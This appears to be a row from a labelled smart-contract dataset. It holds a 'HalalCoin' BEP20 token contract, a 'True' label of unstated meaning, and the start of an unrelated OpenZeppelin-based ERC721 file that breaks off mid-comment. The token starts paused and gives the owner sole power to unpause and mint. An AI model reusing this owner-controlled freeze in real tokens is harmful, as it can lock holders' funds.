* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
bool public mintingFinished = false;
uint public mintTotal = 0;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
uint tmpTotal = mintTotal.add(_amount);
require(tmpTotal <= totalSupply_);
mintTotal = mintTotal.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BEP20Token is PausableToken, MintableToken {
// public variables
string public name = "HalalCoin";
string public symbol = "Halal";
uint8 public decimals = 18;
constructor() public {
totalSupply_ = 200000000 * (10 ** uint256(decimals));
}
function () public payable {
revert();
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
// Dependency file: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
// pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Dependency file: @openzeppelin/contracts/introspection/IERC165.sol
// pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Dependency file: @openzeppelin/contracts/token/ERC721/IERC721.sol
// pragma solidity >=0.6.2 <0.8.0;
// import "@openzeppelin/contracts/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// Dependency file: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
// pragma solidity >=0.6.2 <0.8.0;
// import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// Dependency file: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
// pragma solidity >=0.6.2 <0.8.0;
// import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// Dependency file: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// Dependency file: @openzeppelin/contracts/introspection/ERC165.sol
// pragma solidity >=0.6.0 <0.8.0;
// import "@openzeppelin/contracts/introspection/IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// Dependency file: @openzeppelin/contracts/math/SafeMath.sol
// pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Dependency file: @openzeppelin/contracts/utils/Address.sol
// pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [// importANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* // importANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Dependency file: @openzeppelin/contracts/utils/EnumerableSet.sol
// pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
